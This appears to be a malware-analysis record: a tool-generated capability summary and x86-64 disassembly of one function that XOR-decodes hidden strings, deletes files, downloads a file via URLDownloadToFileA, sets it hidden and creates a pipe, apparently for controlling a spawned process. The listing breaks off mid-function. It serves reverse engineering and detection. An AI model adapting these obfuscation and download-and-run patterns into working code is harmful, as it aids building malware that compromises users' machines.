Function at 0x1400604a0
Capabilities:
Authenticate hmac
Check if file exists
Create pipe
Create process on windows
Delete file
Download url
Get file attributes
Receive data
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
xor r8d, r8d
mov dword [rbp + 0x320], r8d
movdqa xmm1, xmmword [0x140112b90]
movdqu xmmword [rbp - 0x78], xmm1
movdqa xmm2, xmmword [0x140112240]
movdqu xmmword [rbp - 0x68], xmm2
mov dl, 9
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x77], al
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
xor byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
xor byte [rbp - 0x69], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
mov byte [rbp - 0x57], r8b
mov ecx, r8d
lea r13, [0x14075f770]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x77]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140060580
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r8d
mov dword [0x14075fe8c], r8d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r8d
lea rax, [0x14010706a]
mov qword [0x14075f768], rax
call fcn.140051580
mov qword [rbp + 0x320], 1
lea rcx, [rbp + 0x320]
call fcn.1400718b0
movdqa xmm1, xmmword [0x140112770]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112890]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140112ca0]
movdqu xmmword [rsp + 0x70], xmm3
mov dl, reloc.WLDAP32.dll_Ordinal_41
mov r8b, 0x34
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
xor dl, cl
mov byte [rbp - 0x80], dl
xor r8b, cl
mov byte [rbp - 0x7f], r8b
xor r9b, cl
mov byte [rbp - 0x7e], r9b
mov byte [rbp - 0x7d], 0
lea rax, [rsp + 0x51]
mov qword [rbp - 0x20], rax
movdqa xmm1, xmmword [0x140112400]
movdqu xmmword [rbp - 0x78], xmm1
movdqa xmm2, xmmword [0x1401123c0]
movdqu xmmword [rbp - 0x68], xmm2
mov cl, 9
mov r8b, Ordinal_26
xor r9b, r9b
mov r10b, 1
mov r11b, listen
mov bl, reloc.WLDAP32.dll_Ordinal_27
mov dil, 0x46
mov sil, reloc.WS2_32.dll_listen
mov r14b, reloc.WS2_32.dll_recv
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp - 0x77], al
xor byte [rbp - 0x76], dl
xor byte [rbp - 0x75], dl
xor byte [rbp - 0x74], dl
xor byte [rbp - 0x73], dl
xor byte [rbp - 0x72], dl
xor byte [rbp - 0x71], dl
xor byte [rbp - 0x70], dl
xor byte [rbp - 0x6f], dl
xor byte [rbp - 0x6e], dl
xor byte [rbp - 0x6d], dl
xor byte [rbp - 0x6c], dl
xor byte [rbp - 0x6b], dl
xor byte [rbp - 0x6a], dl
xor byte [rbp - 0x69], dl
movd eax, xmm2
xor al, dl
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], dl
xor byte [rbp - 0x66], dl
xor byte [rbp - 0x65], dl
xor byte [rbp - 0x64], dl
xor byte [rbp - 0x63], dl
xor byte [rbp - 0x62], dl
xor byte [rbp - 0x61], dl
xor byte [rbp - 0x60], dl
xor byte [rbp - 0x5f], dl
xor byte [rbp - 0x5e], dl
xor byte [rbp - 0x5d], dl
xor byte [rbp - 0x5c], dl
xor byte [rbp - 0x5b], dl
xor byte [rbp - 0x5a], dl
xor byte [rbp - 0x59], dl
xor cl, dl
mov byte [rbp - 0x58], cl
xor r8b, dl
mov byte [rbp - 0x57], r8b
xor r9b, dl
mov byte [rbp - 0x56], r9b
xor r10b, dl
mov byte [rbp - 0x55], r10b
xor r11b, dl
mov byte [rbp - 0x54], r11b
xor bl, dl
mov byte [rbp - 0x53], bl
xor dil, dl
mov byte [rbp - 0x52], dil
xor sil, dl
mov byte [rbp - 0x51], sil
xor r14b, dl
mov byte [rbp - 0x50], r14b
xor r15b, dl
mov byte [rbp - 0x4f], r15b
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x77]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x50]
call fcn.140069410
nop
mov r15, qword [rbp + 0x50]
mov rbx, r15
mov rsi, qword [rbp + 0x58]
cmp r15, rsi
je 0x140060867
nop
mov rdi, qword [rbx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14006085e
test al, 0x10
jne 0x14006085e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
add rbx, 8
cmp rbx, rsi
jne 0x140060840
movdqa xmm1, xmmword [0x140112ea0]
movdqu xmmword [rbp], xmm1
movdqa xmm2, xmmword [0x140112f20]
movdqu xmmword [rbp + 0x10], xmm2
mov dl, 0x5c
mov r8b, 0x76
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 1], al
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
xor byte [rbp + 7], cl
xor byte [rbp + 8], cl
xor byte [rbp + 9], cl
xor byte [rbp + 0xa], cl
xor byte [rbp + 0xb], cl
xor byte [rbp + 0xc], cl
xor byte [rbp + 0xd], cl
xor byte [rbp + 0xe], cl
xor byte [rbp + 0xf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x10], al
xor byte [rbp + 0x11], cl
xor byte [rbp + 0x12], cl
xor byte [rbp + 0x13], cl
xor byte [rbp + 0x14], cl
xor byte [rbp + 0x15], cl
xor byte [rbp + 0x16], cl
xor byte [rbp + 0x17], cl
xor byte [rbp + 0x18], cl
xor byte [rbp + 0x19], cl
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor dl, cl
mov byte [rbp + 0x20], dl
xor r8b, cl
mov byte [rbp + 0x21], r8b
mov byte [rbp + 0x22], 0
lea rdx, [rbp + 1]
lea rcx, [rbp + 0x28]
call fcn.140050ae0
nop
mov byte [rbp + 0x320], 0x79
mov al, 0x4b
mov cl, 0x49
movzx edx, cl
xor r8d, r8d
xor al, 0x79
mov byte [rbp + 0x321], al
xor cl, 0x79
mov byte [rbp + 0x322], cl
xor dl, 0x79
mov byte [rbp + 0x323], dl
mov byte [rbp + 0x324], r8b
mov byte [rbp - 0x20], Ordinal_50
mov al, 0x42
mov cl, 0x45
mov dl, 0x50
movzx r8d, cl
mov r9b, 0x44
movzx r10d, al
mov r11b, WSAGetLastError
mov bl, 0x52
mov dil, 0x5e
mov sil, 0x55
mov r14b, 0x54
xor r12d, r12d
xor al, 0x31
mov byte [rbp - 0x1f], al
xor cl, 0x31
mov byte [rbp - 0x1e], cl
xor dl, 0x31
mov byte [rbp - 0x1d], dl
xor r8b, 0x31
mov byte [rbp - 0x1c], r8b
xor r9b, 0x31
mov byte [rbp - 0x1b], r9b
xor r10b, 0x31
mov byte [rbp - 0x1a], r10b
xor r11b, 0x31
mov byte [rbp - 0x19], r11b
xor bl, 0x31
mov byte [rbp - 0x18], bl
xor dil, 0x31
mov byte [rbp - 0x17], dil
xor sil, 0x31
mov byte [rbp - 0x16], sil
xor r14b, 0x31
mov byte [rbp - 0x15], r14b
mov byte [rbp - 0x14], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rbp - 0x1f]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400609e2
lea rdx, [rbp - 0x1f]
lea rcx, [rbp - 0x78]
call fcn.140073520
nop
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x28]
call fcn.140072460
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp + 0x321]
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140060a20
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140060a37
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140060a50
lea rdx, [rbp + 0x321]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140060a50
xor bl, bl
jmp 0x140060a52
mov bl, 1
lea rcx, [rbp - 0x78]
call fcn.140049850
test bl, bl
je 0x140060bd1
movdqa xmm1, xmmword [0x140112340]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112370]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x1401120c0]
movdqu xmmword [rsp + 0x70], xmm3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
mov byte [rbp - 0x80], 0
xor r12d, r12d
mov ecx, r12d
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x51]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140060b80
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea rax, [0x14010e5a0]
mov qword [0x14075f768], rax
jmp 0x14006181c
movdqa xmm1, xmmword [0x140112eb0]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112de0]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x7a
mov r8b, 0x6b
mov r9b, reloc.WS2_32.dll_WSAStartup
mov r10b, WSAStartup
mov r11b, 0x78
mov bl, 0x68
mov dil, 0x35
mov sil, 0x7e
mov r14b, 0x63
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov byte [rbp + 0x320], 0x7b
mov al, reloc.WS2_32.dll_ntohs
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov dl, 3
movzx r8d, al
xor r9d, r9d
xor al, 0x7b
mov byte [rbp + 0x321], al
xor cl, 0x7b
mov byte [rbp + 0x322], cl
xor dl, 0x7b
mov byte [rbp + 0x323], dl
xor r8b, 0x7b
mov byte [rbp + 0x324], r8b
mov byte [rbp + 0x325], r9b
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x321]
inc r12
cmp byte [rax + r12], r9b
jne 0x140060d46
mov r8, r12
lea rdx, [rbp + 0x321]
lea rcx, [rbp - 0x20]
call fcn.140073520
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x28]
call fcn.140072460
mov rdx, qword [rax]
add rdx, 0x40
cmp qword [rdx + 0x18], 0xf
jbe 0x140060d85
mov rdx, qword [rdx]
xor r12d, r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x51]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140060ddd
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060dd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140060dd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ed628
test ebx, ebx
je 0x140060eb3
mov edx, 1
lea rcx, [rbp + 0xe0]
call fcn.14006ac50
nop
mov byte [rbp - 0x20], 0x52
mov al, 0x37
mov cl, reloc.WLDAP32.dll_Ordinal_32
movzx edx, cl
mov r8b, 0x3d
movzx r9d, cl
mov r10b, WSAStartup
mov r11b, 0x62
mov bl, 0x2a
xor edi, edi
xor al, 0x52
mov byte [rbp - 0x1f], al
xor cl, 0x52
mov byte [rbp - 0x1e], cl
xor dl, 0x52
mov byte [rbp - 0x1d], dl
xor r8b, 0x52
mov byte [rbp - 0x1c], r8b
xor r9b, 0x52
mov byte [rbp - 0x1b], r9b
xor r10b, 0x52
mov byte [rbp - 0x1a], r10b
xor r11b, 0x52
mov byte [rbp - 0x19], r11b
xor bl, 0x52
mov byte [rbp - 0x18], bl
mov byte [rbp - 0x17], dil
lea rdx, [rbp - 0x1f]
lea rcx, [rbp + 0xf0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xe0]
call fcn.14006abd0
mov rcx, rax
call fcn.140049830
mov rcx, rax
lea r8, [0x14010e5a0]
lea rdx, [0x14010e59c]
call fcn.14004e590
lea rcx, [rbp - 0x40]
call fcn.140049840
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
movdqa xmm1, xmmword [0x140113090]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1401130d0]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, reloc.WS2_32.dll_WSAGetLastError
mov r8b, 0x7e
mov r9b, 0x66
mov r10b, 0x67
mov r11b, WSAGetLastError
mov bl, 0x7d
mov dil, reloc.WLDAP32.dll_Ordinal_32
mov sil, 0x6b
mov r14b, 0x76
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov edx, 2
lea rcx, [rsp + 0x51]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x140060fec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rax, [0x140111b50]
mov qword [rbp + 0x1e0], rax
lea rax, [0x140111300]
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x320], 1
xor r8d, r8d
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1dc], edx
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x260], r12
mov dword [rbp + 0x268], r12d
movdqa xmm1, xmmword [0x140112160]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1401121c0]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, reloc.WS2_32.dll_socket
mov dl, 6
mov r9b, reloc.WLDAP32.dll_Ordinal_30
mov r10b, Ordinal_32
mov r11b, reloc.WS2_32.dll_setsockopt
mov bl, 5
mov dil, 0x58
mov sil, reloc.WS2_32.dll_send
mov r14b, reloc.WS2_32.dll_ntohl
movzx r15d, sil
mov r12b, 0x56
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], r8b
xor byte [rsp + 0x53], r8b
xor byte [rsp + 0x54], r8b
xor byte [rsp + 0x55], r8b
xor byte [rsp + 0x56], r8b
xor byte [rsp + 0x57], r8b
xor byte [rsp + 0x58], r8b
xor byte [rsp + 0x59], r8b
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
xor byte [rsp + 0x68], r8b
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor cl, r8b
mov byte [rsp + 0x70], cl
xor dl, r8b
mov byte [rsp + 0x71], dl
xor r9b, r8b
mov byte [rsp + 0x72], r9b
xor r10b, r8b
mov byte [rsp + 0x73], r10b
xor r11b, r8b
mov byte [rsp + 0x74], r11b
xor bl, r8b
mov byte [rsp + 0x75], bl
xor dil, r8b
mov byte [rsp + 0x76], dil
xor sil, r8b
mov byte [rsp + 0x77], sil
xor r14b, r8b
mov byte [rsp + 0x78], r14b
xor r15b, r8b
mov byte [rsp + 0x79], r15b
xor r12b, r8b
mov byte [rsp + 0x7a], r12b
mov byte [rsp + 0x7b], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x1f0]
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f900]
call fcn.140071310
mov byte [rbp + 0x320], 0x58
mov cl, 0x78
xor edx, edx
xor cl, 0x58
mov byte [rbp + 0x321], cl
mov byte [rbp + 0x322], dl
lea rdx, [rbp + 0x321]
mov rcx, rax
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f880]
call fcn.140071310
mov byte [rbp - 0x20], 8
mov cl, Ordinal_41
mov dl, reloc.WS2_32.dll_WSAGetLastError
mov r8b, WSAGetLastError
mov r9b, 0x66
movzx r10d, r8b
mov r11b, 0x7a
mov bl, 0x61
mov dil, 0x6b
movzx esi, cl
xor r14d, r14d
xor cl, 8
mov byte [rbp - 0x1f], cl
xor dl, 8
mov byte [rbp - 0x1e], dl
xor r8b, 8
mov byte [rbp - 0x1d], r8b
xor r9b, 8
mov byte [rbp - 0x1c], r9b
xor r10b, 8
mov byte [rbp - 0x1b], r10b
xor r11b, 8
mov byte [rbp - 0x1a], r11b
xor bl, 8
mov byte [rbp - 0x19], bl
xor dil, 8
mov byte [rbp - 0x18], dil
xor sil, 8
mov byte [rbp - 0x17], sil
mov byte [rbp - 0x16], r14b
lea rdx, [rbp - 0x1f]
mov rcx, rax
call fcn.140071310
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x90], xmm1
movups xmmword [rbp + 0xa0], xmm1
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbp + 0xd0], rax
mov dword [rbp - 0x78], Ordinal_26
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov dword [rbp - 0x68], 1
xor r9d, r9d
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea r14, [0x14010e5a0]
test eax, eax
jne 0x14006145e
movdqa xmm1, xmmword [0x1401125d0]
movdqu xmmword [rbp - 0x40], xmm1
mov cl, 0x66
mov dl, 0x25
mov r8b, 0x34
mov r10b, reloc.WLDAP32.dll_Ordinal_35
mov r11b, Ordinal_41
mov bl, reloc.WLDAP32.dll_Ordinal_50
movzx edi, r10b
movzx esi, cl
mov r14b, 0x36
mov r15b, 0x2f
movzx r12d, r14b
movzx r13d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp - 0x3f], al
xor byte [rbp - 0x3e], r9b
xor byte [rbp - 0x3d], r9b
xor byte [rbp - 0x3c], r9b
xor byte [rbp - 0x3b], r9b
xor byte [rbp - 0x3a], r9b
xor byte [rbp - 0x39], r9b
xor byte [rbp - 0x38], r9b
xor byte [rbp - 0x37], r9b
xor byte [rbp - 0x36], r9b
xor byte [rbp - 0x35], r9b
xor byte [rbp - 0x34], r9b
xor byte [rbp - 0x33], r9b
xor byte [rbp - 0x32], r9b
xor byte [rbp - 0x31], r9b
xor cl, r9b
mov byte [rbp - 0x30], cl
xor dl, r9b
mov byte [rbp - 0x2f], dl
xor r8b, r9b
mov byte [rbp - 0x2e], r8b
xor r10b, r9b
mov byte [rbp - 0x2d], r10b
xor r11b, r9b
mov byte [rbp - 0x2c], r11b
xor bl, r9b
mov byte [rbp - 0x2b], bl
xor dil, r9b
mov byte [rbp - 0x2a], dil
